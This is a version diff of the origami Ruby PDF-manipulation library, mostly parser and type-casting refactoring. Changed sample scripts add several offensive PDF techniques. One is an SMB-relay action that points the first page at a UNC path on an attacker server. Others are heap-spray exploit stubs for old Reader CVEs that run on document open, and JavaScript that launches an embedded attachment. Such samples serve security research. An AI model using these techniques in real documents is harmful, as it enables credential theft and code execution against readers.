origami 1.2.5 → 1.2.6
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- checksums.yaml +7 -0
- data/bin/gui/config.rb +0 -4
- data/bin/gui/imgview.rb +2 -2
- data/bin/gui/menu.rb +11 -3
- data/bin/gui/treeview.rb +9 -3
- data/bin/pdfexplode +220 -0
- data/bin/pdfextract +3 -0
- data/lib/origami/acroform.rb +2 -2
- data/lib/origami/actions.rb +62 -35
- data/lib/origami/annotations.rb +3 -2
- data/lib/origami/array.rb +27 -4
- data/lib/origami/boolean.rb +2 -2
- data/lib/origami/catalog.rb +45 -45
- data/lib/origami/dictionary.rb +87 -14
- data/lib/origami/encryption.rb +46 -24
- data/lib/origami/file.rb +1 -2
- data/lib/origami/filters/ccitt.rb +118 -66
- data/lib/origami/filters/flate.rb +5 -1
- data/lib/origami/filters.rb +84 -2
- data/lib/origami/font.rb +71 -71
- data/lib/origami/graphics/patterns.rb +2 -1
- data/lib/origami/graphics/xobject.rb +123 -1
- data/lib/origami/javascript.rb +2 -1
- data/lib/origami/name.rb +2 -2
- data/lib/origami/null.rb +2 -2
- data/lib/origami/numeric.rb +11 -3
- data/lib/origami/object.rb +37 -16
- data/lib/origami/page.rb +135 -71
- data/lib/origami/parser.rb +11 -4
- data/lib/origami/parsers/pdf/linear.rb +1 -0
- data/lib/origami/parsers/pdf.rb +10 -0
- data/lib/origami/pdf.rb +10 -70
- data/lib/origami/reference.rb +4 -5
- data/lib/origami/signature.rb +22 -8
- data/lib/origami/stream.rb +41 -20
- data/lib/origami/string.rb +15 -6
- data/lib/origami/trailer.rb +9 -5
- data/lib/origami.rb +19 -0
- data/samples/actions/loop/loopgoto.rb +1 -1
- data/samples/actions/loop/loopnamed.rb +2 -2
- data/samples/actions/named/named.rb +1 -1
- data/samples/actions/samba/smbrelay.rb +1 -1
- data/samples/actions/triggerevents/trigger.rb +13 -13
- data/samples/actions/webbug/webbug-browser.rb +1 -1
- data/samples/actions/webbug/webbug-js.rb +1 -1
- data/samples/actions/webbug/webbug-reader.rb +1 -1
- data/samples/attachments/attach.rb +2 -2
- data/samples/exploits/cve-2008-2992-utilprintf.rb +1 -1
- data/samples/exploits/cve-2009-0927-geticon.rb +1 -1
- data/samples/exploits/exploit_customdictopen.rb +2 -2
- data/samples/exploits/getannots.rb +1 -1
- data/samples/javascript/js.rb +2 -2
- data/test/ts_pdf.rb +23 -23
- metadata +71 -86
data/lib/origami/parsers/pdf.rb
CHANGED
@@ -71,6 +71,16 @@ module Origami
|
|
71
71
|
def parse_finalize(pdf) #:nodoc:
|
72
72
|
warn "This file has been linearized." if pdf.is_linearized?
|
73
73
|
|
74
|
+
if Origami::OPTIONS[:enable_type_propagation]
|
75
|
+
info "...Propagating types..."
|
76
|
+
@deferred_casts.each_pair do |ref, type|
|
77
|
+
type = [ type ] unless type.is_a?(::Array)
|
78
|
+
type.each do |hint|
|
79
|
+
pdf.cast_object(ref, hint)
|
80
|
+
end
|
81
|
+
end
|
82
|
+
end
|
83
|
+
|
74
84
|
#
|
75
85
|
# Decrypt encrypted file contents
|
76
86
|
#
|
data/lib/origami/pdf.rb
CHANGED
@@ -65,75 +65,6 @@ require 'origami/parsers/pdf'
|
|
65
65
|
|
66
66
|
module Origami
|
67
67
|
|
68
|
-
VERSION = "1.2.5"
|
69
|
-
REVISION = "$Revision: rev 167/, 2013/01/28 11:59:28 $" #:nodoc:
|
70
|
-
|
71
|
-
#
|
72
|
-
# Global options for Origami.
|
73
|
-
#
|
74
|
-
OPTIONS =
|
75
|
-
{
|
76
|
-
:enable_type_checking => true, # set to false to disable type consistency checks during compilation.
|
77
|
-
:enable_type_guessing => true, # set to false to prevent the parser to guess the type of special dictionary and streams (not recommended).
|
78
|
-
:use_openssl => true # set to false to use Origami crypto backend.
|
79
|
-
}
|
80
|
-
|
81
|
-
begin
|
82
|
-
require 'openssl'
|
83
|
-
OPTIONS[:use_openssl] = true
|
84
|
-
rescue LoadError
|
85
|
-
OPTIONS[:use_openssl] = false
|
86
|
-
end
|
87
|
-
|
88
|
-
DICT_SPECIAL_TYPES = #:nodoc:
|
89
|
-
{
|
90
|
-
:Catalog => Catalog,
|
91
|
-
:Pages => PageTreeNode,
|
92
|
-
:Page => Page,
|
93
|
-
:Filespec => FileSpec,
|
94
|
-
:Action => Action,
|
95
|
-
:Font => Font,
|
96
|
-
:FontDescriptor => FontDescriptor,
|
97
|
-
:Encoding => Encoding,
|
98
|
-
:Annot => Annotation,
|
99
|
-
:Border => Annotation::BorderStyle,
|
100
|
-
:Outlines => Outline,
|
101
|
-
:OutputIntent => OutputIntent,
|
102
|
-
:Sig => Signature::DigitalSignature,
|
103
|
-
:SigRef => Signature::Reference,
|
104
|
-
:SigFieldLock => Field::SignatureLock,
|
105
|
-
:SV => Field::SignatureSeedValue,
|
106
|
-
:SVCert => Field::CertificateSeedValue,
|
107
|
-
:ExtGState => Graphics::ExtGState,
|
108
|
-
:RichMediaSettings => Annotation::RichMedia::Settings,
|
109
|
-
:RichMediaActivation => Annotation::RichMedia::Activation,
|
110
|
-
:RichMediaDeactivation => Annotation::RichMedia::Deactivation,
|
111
|
-
:RichMediaAnimation => Annotation::RichMedia::Animation,
|
112
|
-
:RichMediaPresentation => Annotation::RichMedia::Presentation,
|
113
|
-
:RichMediaWindow => Annotation::RichMedia::Window,
|
114
|
-
:RichMediaPosition => Annotation::RichMedia::Position,
|
115
|
-
:RichMediaContent => Annotation::RichMedia::Content,
|
116
|
-
:RichMediaConfiguration => Annotation::RichMedia::Configuration,
|
117
|
-
:RichMediaInstance => Annotation::RichMedia::Instance,
|
118
|
-
:RichMediaParams => Annotation::RichMedia::Parameters,
|
119
|
-
:CuePoint => Annotation::RichMedia::CuePoint
|
120
|
-
}
|
121
|
-
|
122
|
-
STM_SPECIAL_TYPES = #:nodoc:
|
123
|
-
{
|
124
|
-
:ObjStm => ObjectStream,
|
125
|
-
:EmbeddedFile => EmbeddedFileStream,
|
126
|
-
:Metadata => MetadataStream,
|
127
|
-
:XRef => XRefStream,
|
128
|
-
:"3D" => U3DStream
|
129
|
-
}
|
130
|
-
|
131
|
-
STM_XOBJ_SUBTYPES = #:nodoc:
|
132
|
-
{
|
133
|
-
:Image => Graphics::ImageXObject,
|
134
|
-
:Form => Graphics::FormXObject
|
135
|
-
}
|
136
|
-
|
137
68
|
class InvalidPDFError < Exception #:nodoc:
|
138
69
|
end
|
139
70
|
|
@@ -201,6 +132,7 @@ module Origami
|
|
201
132
|
yield(pdf) if block_given?
|
202
133
|
pdf.save(output, options)
|
203
134
|
end
|
135
|
+
alias write create
|
204
136
|
|
205
137
|
#
|
206
138
|
# Deserializes a PDF dump.
|
@@ -305,7 +237,7 @@ module Origami
|
|
305
237
|
|
306
238
|
self
|
307
239
|
end
|
308
|
-
alias
|
240
|
+
alias write save
|
309
241
|
|
310
242
|
#
|
311
243
|
# Saves the file up to given revision number.
|
@@ -680,6 +612,14 @@ module Origami
|
|
680
612
|
end
|
681
613
|
|
682
614
|
alias :[] :get_object
|
615
|
+
|
616
|
+
def cast_object(reference, type) #:nodoc:
|
617
|
+
@revisions.each do |rev|
|
618
|
+
if rev.body.include?(reference) and type < rev.body[reference].class
|
619
|
+
rev.body[reference] = rev.body[reference].cast_to(type)
|
620
|
+
end
|
621
|
+
end
|
622
|
+
end
|
683
623
|
|
684
624
|
#
|
685
625
|
# Returns a new number/generation for future object.
|
data/lib/origami/reference.rb
CHANGED
@@ -46,7 +46,7 @@ module Origami
|
|
46
46
|
@refno, @refgen = refno, refgen
|
47
47
|
end
|
48
48
|
|
49
|
-
def self.parse(stream) #:nodoc:
|
49
|
+
def self.parse(stream, parser = nil) #:nodoc:
|
50
50
|
|
51
51
|
offset = stream.pos
|
52
52
|
|
@@ -64,7 +64,6 @@ module Origami
|
|
64
64
|
end
|
65
65
|
|
66
66
|
def solve
|
67
|
-
|
68
67
|
pdfdoc = self.pdf
|
69
68
|
|
70
69
|
if pdfdoc.nil?
|
@@ -73,11 +72,11 @@ module Origami
|
|
73
72
|
|
74
73
|
target = pdfdoc.get_object(self)
|
75
74
|
|
76
|
-
if target.nil?
|
75
|
+
if target.nil? and not Origami::OPTIONS[:ignore_bad_references]
|
77
76
|
raise InvalidReferenceError, "Cannot resolve reference : #{self.to_s}"
|
78
77
|
end
|
79
78
|
|
80
|
-
target
|
79
|
+
target or Null.new
|
81
80
|
end
|
82
81
|
|
83
82
|
def eql?(ref) #:nodoc
|
@@ -110,7 +109,7 @@ module Origami
|
|
110
109
|
self
|
111
110
|
end
|
112
111
|
|
113
|
-
def
|
112
|
+
def self.native_type ; Reference end
|
114
113
|
|
115
114
|
end
|
116
115
|
|
data/lib/origami/signature.rb
CHANGED
@@ -23,7 +23,12 @@
|
|
23
23
|
|
24
24
|
=end
|
25
25
|
|
26
|
-
|
26
|
+
begin
|
27
|
+
require 'openssl' if Origami::OPTIONS[:use_openssl]
|
28
|
+
rescue LoadError
|
29
|
+
Origami::OPTIONS[:use_openssl] = false
|
30
|
+
end
|
31
|
+
|
27
32
|
require 'digest/sha1'
|
28
33
|
|
29
34
|
module Origami
|
@@ -40,6 +45,11 @@ module Origami
|
|
40
45
|
# If no argument is passed, embedded certificates are treated as trusted.
|
41
46
|
#
|
42
47
|
def verify(options = {})
|
48
|
+
|
49
|
+
unless Origami::OPTIONS[:use_openssl]
|
50
|
+
fail "OpenSSL is not present or has been disabled."
|
51
|
+
end
|
52
|
+
|
43
53
|
params =
|
44
54
|
{
|
45
55
|
:trusted => []
|
@@ -261,9 +271,13 @@ module Origami
|
|
261
271
|
# Returns whether the document contains a digital signature.
|
262
272
|
#
|
263
273
|
def is_signed?
|
264
|
-
|
265
|
-
|
266
|
-
|
274
|
+
begin
|
275
|
+
self.Catalog.AcroForm.is_a?(Dictionary) and
|
276
|
+
self.Catalog.AcroForm.has_key?(:SigFlags) and
|
277
|
+
(self.Catalog.AcroForm.SigFlags & InteractiveForm::SigFlags::SIGNATURESEXIST != 0)
|
278
|
+
rescue InvalidReferenceError
|
279
|
+
false
|
280
|
+
end
|
267
281
|
end
|
268
282
|
|
269
283
|
#
|
@@ -272,15 +286,15 @@ module Origami
|
|
272
286
|
#
|
273
287
|
def enable_usage_rights(cert, pkey, *rights)
|
274
288
|
|
289
|
+
unless Origami::OPTIONS[:use_openssl]
|
290
|
+
fail "OpenSSL is not present or has been disabled."
|
291
|
+
end
|
292
|
+
|
275
293
|
signfield_size = lambda{|crt, key, ca|
|
276
294
|
datatest = "abcdefghijklmnopqrstuvwxyz"
|
277
295
|
OpenSSL::PKCS7.sign(crt, key, datatest, ca, OpenSSL::PKCS7::DETACHED | OpenSSL::PKCS7::BINARY).to_der.size + 128
|
278
296
|
}
|
279
297
|
|
280
|
-
unless Origami::OPTIONS[:use_openssl]
|
281
|
-
fail "OpenSSL is not present or has been disabled."
|
282
|
-
end
|
283
|
-
|
284
298
|
#
|
285
299
|
# Load key pair
|
286
300
|
#
|
data/lib/origami/stream.rb
CHANGED
@@ -44,6 +44,8 @@ module Origami
|
|
44
44
|
@@regexp_open = Regexp.new(WHITESPACES + TOKENS.first)
|
45
45
|
@@regexp_close = Regexp.new(TOKENS.last)
|
46
46
|
|
47
|
+
@@cast_fingerprints = {}
|
48
|
+
|
47
49
|
#
|
48
50
|
# Actually only 5 first ones are implemented, other ones are mainly about image data processing (JPEG, JPEG2000 ... )
|
49
51
|
#
|
@@ -114,9 +116,9 @@ module Origami
|
|
114
116
|
end
|
115
117
|
end
|
116
118
|
|
117
|
-
def self.parse(stream) #:nodoc:
|
119
|
+
def self.parse(stream, parser = nil) #:nodoc:
|
118
120
|
|
119
|
-
dictionary = Dictionary.parse(stream)
|
121
|
+
dictionary = Dictionary.parse(stream, parser)
|
120
122
|
return dictionary if not stream.skip(@@regexp_open)
|
121
123
|
|
122
124
|
length = dictionary[:Length]
|
@@ -141,23 +143,7 @@ module Origami
|
|
141
143
|
|
142
144
|
stm =
|
143
145
|
if Origami::OPTIONS[:enable_type_guessing]
|
144
|
-
|
145
|
-
|
146
|
-
if type.is_a?(Name)
|
147
|
-
if STM_SPECIAL_TYPES.include?(type.value)
|
148
|
-
STM_SPECIAL_TYPES[type.value].new("", dictionary.to_h)
|
149
|
-
else
|
150
|
-
if type == :XObject and subtype.is_a?(Name) and STM_XOBJ_SUBTYPES.include?(subtype.value)
|
151
|
-
STM_XOBJ_SUBTYPES[subtype.value].new("", dictionary.to_h)
|
152
|
-
else
|
153
|
-
Stream.new('', dictionary.to_h)
|
154
|
-
end
|
155
|
-
end
|
156
|
-
|
157
|
-
else
|
158
|
-
Stream.new('', dictionary.to_h)
|
159
|
-
end
|
160
|
-
|
146
|
+
self.guess_type(dictionary).new('', dictionary.to_h)
|
161
147
|
else
|
162
148
|
Stream.new('', dictionary.to_h)
|
163
149
|
end
|
@@ -179,6 +165,28 @@ module Origami
|
|
179
165
|
stm
|
180
166
|
end
|
181
167
|
|
168
|
+
def self.add_type_info(typeclass, key, value) #:nodoc:
|
169
|
+
if not @@cast_fingerprints.has_key?(typeclass) and typeclass.superclass != Stream and
|
170
|
+
@@cast_fingerprints.has_key?(typeclass.superclass)
|
171
|
+
@@cast_fingerprints[typeclass] = @@cast_fingerprints[typeclass.superclass].dup
|
172
|
+
end
|
173
|
+
|
174
|
+
@@cast_fingerprints[typeclass] ||= {}
|
175
|
+
@@cast_fingerprints[typeclass][key.to_o] = value.to_o
|
176
|
+
end
|
177
|
+
|
178
|
+
def self.guess_type(hash) #:nodoc:
|
179
|
+
best_type = Stream
|
180
|
+
|
181
|
+
@@cast_fingerprints.each_pair do |typeclass, keys|
|
182
|
+
best_type = typeclass if keys.all? { |k,v|
|
183
|
+
hash.has_key?(k) and hash[k] == v
|
184
|
+
} and typeclass < best_type
|
185
|
+
end
|
186
|
+
|
187
|
+
best_type
|
188
|
+
end
|
189
|
+
|
182
190
|
def set_predictor(predictor, colors = 1, bitspercomponent = 8, columns = 1)
|
183
191
|
|
184
192
|
filters = self.Filter
|
@@ -201,6 +209,19 @@ module Origami
|
|
201
209
|
self
|
202
210
|
end
|
203
211
|
|
212
|
+
def cast_to(type)
|
213
|
+
super(type)
|
214
|
+
|
215
|
+
cast = type.new("", self.dictionary.to_h)
|
216
|
+
cast.rawdata = @rawdata.dup
|
217
|
+
cast.no, cast.generation = self.no, self.generation
|
218
|
+
cast.set_indirect(true)
|
219
|
+
cast.set_pdf(self.pdf)
|
220
|
+
cast.file_offset = self.file_offset
|
221
|
+
|
222
|
+
cast
|
223
|
+
end
|
224
|
+
|
204
225
|
def value #:nodoc:
|
205
226
|
self
|
206
227
|
end
|
@@ -344,7 +365,7 @@ module Origami
|
|
344
365
|
@dictionary.each_key(&b)
|
345
366
|
end
|
346
367
|
|
347
|
-
def
|
368
|
+
def self.native_type ; Stream end
|
348
369
|
|
349
370
|
private
|
350
371
|
|
data/lib/origami/string.rb
CHANGED
@@ -114,12 +114,20 @@ module Origami
|
|
114
114
|
|
115
115
|
end
|
116
116
|
|
117
|
-
|
117
|
+
module ClassMethods #:nodoc:all
|
118
|
+
def native_type; Origami::String end
|
119
|
+
end
|
118
120
|
|
119
|
-
|
121
|
+
def self.included(receiver) #:nodoc:
|
122
|
+
receiver.extend(ClassMethods)
|
123
|
+
end
|
120
124
|
|
121
|
-
def
|
125
|
+
def self.native_type; Origami::String end #:nodoc:
|
122
126
|
|
127
|
+
include Origami::Object
|
128
|
+
|
129
|
+
attr_accessor :encoding
|
130
|
+
|
123
131
|
def initialize(str) #:nodoc:
|
124
132
|
infer_encoding
|
125
133
|
super(str)
|
@@ -196,7 +204,7 @@ module Origami
|
|
196
204
|
super(str)
|
197
205
|
end
|
198
206
|
|
199
|
-
def self.parse(stream) #:nodoc:
|
207
|
+
def self.parse(stream, parser = nil) #:nodoc:
|
200
208
|
|
201
209
|
offset = stream.pos
|
202
210
|
|
@@ -233,6 +241,7 @@ module Origami
|
|
233
241
|
|
234
242
|
to_str
|
235
243
|
end
|
244
|
+
|
236
245
|
end
|
237
246
|
|
238
247
|
class InvalidByteStringObjectError < InvalidObjectError #:nodoc:
|
@@ -263,7 +272,7 @@ module Origami
|
|
263
272
|
super(str)
|
264
273
|
end
|
265
274
|
|
266
|
-
def self.parse(stream) #:nodoc:
|
275
|
+
def self.parse(stream, parser = nil) #:nodoc:
|
267
276
|
|
268
277
|
offset = stream.pos
|
269
278
|
|
@@ -385,7 +394,7 @@ module Origami
|
|
385
394
|
super(date_str)
|
386
395
|
end
|
387
396
|
|
388
|
-
def self.parse(stream) #:nodoc:
|
397
|
+
def self.parse(stream, parser = nil) #:nodoc:
|
389
398
|
|
390
399
|
dateReg = Regexp.new(REGEXP_TOKEN)
|
391
400
|
|
data/lib/origami/trailer.rb
CHANGED
@@ -83,6 +83,10 @@ module Origami
|
|
83
83
|
class InvalidTrailerError < Exception #:nodoc:
|
84
84
|
end
|
85
85
|
|
86
|
+
# Forward declarations.
|
87
|
+
class Catalog < Dictionary; end
|
88
|
+
class Metadata < Dictionary; end
|
89
|
+
|
86
90
|
#
|
87
91
|
# Class representing a PDF file Trailer.
|
88
92
|
#
|
@@ -103,9 +107,9 @@ module Origami
|
|
103
107
|
|
104
108
|
field :Size, :Type => Integer, :Required => true
|
105
109
|
field :Prev, :Type => Integer
|
106
|
-
field :Root, :Type =>
|
110
|
+
field :Root, :Type => Catalog, :Required => true
|
107
111
|
field :Encrypt, :Type => Dictionary
|
108
|
-
field :Info, :Type =>
|
112
|
+
field :Info, :Type => Metadata
|
109
113
|
field :ID, :Type => Array
|
110
114
|
field :XRefStm, :Type => Integer
|
111
115
|
|
@@ -119,10 +123,10 @@ module Origami
|
|
119
123
|
@startxref, self.dictionary = startxref, dictionary && Dictionary.new(dictionary)
|
120
124
|
end
|
121
125
|
|
122
|
-
def self.parse(stream) #:nodoc:
|
126
|
+
def self.parse(stream, parser = nil) #:nodoc:
|
123
127
|
|
124
128
|
if stream.skip(@@regexp_open)
|
125
|
-
dictionary = Dictionary.parse(stream)
|
129
|
+
dictionary = Dictionary.parse(stream, parser)
|
126
130
|
else
|
127
131
|
dictionary = nil
|
128
132
|
end
|
@@ -152,7 +156,7 @@ module Origami
|
|
152
156
|
dict.parent = self if dict
|
153
157
|
@dictionary = dict
|
154
158
|
end
|
155
|
-
|
159
|
+
|
156
160
|
def has_dictionary?
|
157
161
|
not @dictionary.nil?
|
158
162
|
end
|
data/lib/origami.rb
CHANGED
@@ -30,6 +30,25 @@ if RUBY_VERSION < '1.9'
|
|
30
30
|
end
|
31
31
|
end
|
32
32
|
|
33
|
+
module Origami
|
34
|
+
VERSION = "1.2.6"
|
35
|
+
REVISION = "$Revision$" #:nodoc:
|
36
|
+
|
37
|
+
#
|
38
|
+
# Global
|
39
|
+
# options for Origami.
|
40
|
+
#
|
41
|
+
OPTIONS =
|
42
|
+
{
|
43
|
+
:enable_type_checking => true, # set to false to disable type consistency checks during compilation.
|
44
|
+
:enable_type_guessing => true, # set to false to prevent the parser to guess the type of special dictionary and streams (not recommended).
|
45
|
+
:enable_type_propagation => true, # set to false to prevent the parser to propagate type from parents to children.
|
46
|
+
:use_openssl => true, # set to false to use Origami crypto backend.
|
47
|
+
:ignore_bad_references => false, # set to interpret invalid references as Null objects, instead of raising an exception.
|
48
|
+
:ignore_zlib_errors => false, # set to true to ignore exceptions on invalid Flate streams.
|
49
|
+
}
|
50
|
+
end
|
51
|
+
|
33
52
|
require 'origami/pdf'
|
34
53
|
require 'origami/extensions/fdf'
|
35
54
|
require 'origami/extensions/ppklite'
|
@@ -15,7 +15,7 @@ index = 1
|
|
15
15
|
pages = pdf.pages
|
16
16
|
|
17
17
|
pages.each do |page|
|
18
|
-
page.onOpen
|
18
|
+
page.onOpen Action::GoTo Destination::GlobalFit.new pages[index % pages.size]
|
19
19
|
|
20
20
|
index = index + 1
|
21
21
|
end
|
@@ -14,8 +14,8 @@ pdf = PDF.read("sample.pdf", :verbosity => Parser::VERBOSE_DEBUG )
|
|
14
14
|
pages = pdf.pages
|
15
15
|
|
16
16
|
pages.each do |page|
|
17
|
-
page.onOpen
|
17
|
+
page.onOpen Action::Named::NEXTPAGE unless page == pages.last
|
18
18
|
end
|
19
|
-
pages.last.onOpen
|
19
|
+
pages.last.onOpen Action::Named::FIRSTPAGE
|
20
20
|
|
21
21
|
pdf.save("loopnamed_sample.pdf")
|
@@ -19,7 +19,7 @@ ATTACKER_SERVER = "localhost"
|
|
19
19
|
pdf = PDF.read(ARGV[0])
|
20
20
|
|
21
21
|
dst = ExternalFile.new("\\\\#{ATTACKER_SERVER}\\origami\\owned.pdf")
|
22
|
-
gotor = Action::GoToR
|
22
|
+
gotor = Action::GoToR[dst, Destination::GlobalFit.new(0), true]
|
23
23
|
pdf.pages.first.onOpen(gotor)
|
24
24
|
|
25
25
|
pdf.save("#{File.basename($0, '.rb')}.pdf")
|
@@ -23,19 +23,19 @@ contents.write "Pass your mouse over the yellow square",
|
|
23
23
|
|
24
24
|
page.setContents( contents )
|
25
25
|
|
26
|
-
onpageopen = Action::JavaScript
|
27
|
-
onpageclose = Action::JavaScript
|
28
|
-
ondocumentopen = Action::JavaScript
|
29
|
-
ondocumentclose = Action::JavaScript
|
30
|
-
onmouseover =Action::JavaScript
|
31
|
-
onmouseleft =Action::JavaScript
|
32
|
-
onmousedown = Action::JavaScript
|
33
|
-
onmouseup = Action::JavaScript
|
34
|
-
onparentopen = Action::JavaScript
|
35
|
-
onparentclose = Action::JavaScript
|
36
|
-
onparentvisible = Action::JavaScript
|
37
|
-
onparentinvisible = Action::JavaScript
|
38
|
-
namedscript = Action::JavaScript
|
26
|
+
onpageopen = Action::JavaScript "app.alert('Page Opened');"
|
27
|
+
onpageclose = Action::JavaScript "app.alert('Page Closed');"
|
28
|
+
ondocumentopen = Action::JavaScript "app.alert('Document is opened');"
|
29
|
+
ondocumentclose = Action::JavaScript "app.alert('Document is closing');"
|
30
|
+
onmouseover = Action::JavaScript "app.alert('Mouse over');"
|
31
|
+
onmouseleft = Action::JavaScript "app.alert('Mouse left');"
|
32
|
+
onmousedown = Action::JavaScript "app.alert('Mouse down');"
|
33
|
+
onmouseup = Action::JavaScript "app.alert('Mouse up');"
|
34
|
+
onparentopen = Action::JavaScript "app.alert('Parent page has opened');"
|
35
|
+
onparentclose = Action::JavaScript "app.alert('Parent page has closed');"
|
36
|
+
onparentvisible = Action::JavaScript "app.alert('Parent page is visible');"
|
37
|
+
onparentinvisible = Action::JavaScript "app.alert('Parent page is no more visible');"
|
38
|
+
namedscript = Action::JavaScript "app.alert('Names directory script');"
|
39
39
|
|
40
40
|
pdf.onDocumentOpen(ondocumentopen)
|
41
41
|
pdf.onDocumentClose(ondocumentclose)
|
@@ -56,7 +56,7 @@ page.Contents = contents
|
|
56
56
|
pdf.append_page(page)
|
57
57
|
|
58
58
|
# Create a new action based on the script, compressed with zlib
|
59
|
-
jsaction = Action::JavaScript
|
59
|
+
jsaction = Action::JavaScript Stream.new(jscript,:Filter => :FlateDecode)
|
60
60
|
|
61
61
|
# Add the script into the document names dictionary. Any scripts registered here will be executed at the document opening (with no OpenAction implied).
|
62
62
|
pdf.register(Names::Root::JAVASCRIPT, "Update", jsaction)
|
@@ -78,7 +78,7 @@ pdf.append_page( page )
|
|
78
78
|
flags = Action::SubmitForm::Flags::EXPORTFORMAT|Action::SubmitForm::Flags::GETMETHOD
|
79
79
|
|
80
80
|
# Sends the form at the document opening.
|
81
|
-
pdf.onDocumentOpen Action::SubmitForm
|
81
|
+
pdf.onDocumentOpen Action::SubmitForm[URL, [], flags]
|
82
82
|
|
83
83
|
# Comments:
|
84
84
|
# - any port can be specified http://url:1234
|
@@ -29,10 +29,10 @@ contents.write "File attachment sample",
|
|
29
29
|
|
30
30
|
pdf.append_page Page.new.setContents(contents)
|
31
31
|
|
32
|
-
|
32
|
+
pdf.onDocumentOpen Action::JavaScript <<JS
|
33
33
|
this.exportDataObject({cName:"README.txt", nLaunch:2});
|
34
34
|
JS
|
35
|
-
|
35
|
+
|
36
36
|
|
37
37
|
pdf.save(OUTPUTFILE)
|
38
38
|
|
@@ -58,7 +58,7 @@ Collab.getIcon(buffer+'_N.bundle');
|
|
58
58
|
spary();
|
59
59
|
|
|
60
60
|
|
61
|
-
exploit = Action::JavaScript
|
61
|
+
exploit = Action::JavaScript Stream.new(jscript).setFilter([:FlateDecode, :ASCII85Decode, :RunLengthDecode])
|
62
62
|
pdf.pages.first.onOpen( exploit )
|
63
63
|
|
64
64
|
pdf.save("#{File.basename($0, '.rb')}.pdf")
|
@@ -47,8 +47,8 @@ function start()
|
|
47
47
|
//# milw0rm.com [2009-04-29]
|
48
48
|
|
|
49
49
|
|
50
|
-
#exploit = Action::JavaScript
|
51
|
-
exploit = Action::JavaScript
|
50
|
+
#exploit = Action::JavaScript Stream.new(jscript).setFilter([:FlateDecode, :ASCII85Decode, :RunLengthDecode])
|
51
|
+
exploit = Action::JavaScript Stream.new(jscript)
|
52
52
|
pdf.onDocumentOpen( exploit )
|
53
53
|
|
54
54
|
pdf.save("#{File.basename($0, '.rb')}.pdf")
|
@@ -55,7 +55,7 @@ function start()
|
|
55
55
|
|
|
56
56
|
|
57
57
|
#exploit = Action::JavaScript.new(Stream.new(jscript).setFilter([:FlateDecode, :ASCII85Decode, :RunLengthDecode]))
|
58
|
-
exploit = Action::JavaScript
|
58
|
+
exploit = Action::JavaScript Stream.new(jscript)
|
59
59
|
pdf.onDocumentOpen( exploit )
|
60
60
|
|
61
61
|
|
data/samples/javascript/js.rb
CHANGED
@@ -23,12 +23,12 @@ if defined?(PDF::JavaScript::Engine)
|
|
23
23
|
)
|
24
24
|
|
25
25
|
# Example of JS payload
|
26
|
-
|
26
|
+
pdf.onDocumentOpen Action::JavaScript <<-JS
|
27
27
|
if ( app.viewerVersion == 8 )
|
28
28
|
eval("this.exportDataObject({cName:'README.txt', nLaunch:2});");
|
29
29
|
this.closeDoc();
|
30
30
|
JS
|
31
|
-
|
31
|
+
|
32
32
|
|
33
33
|
# Tweaking the engine options
|
34
34
|
pdf.js_engine.options[:log_method_calls] = true
|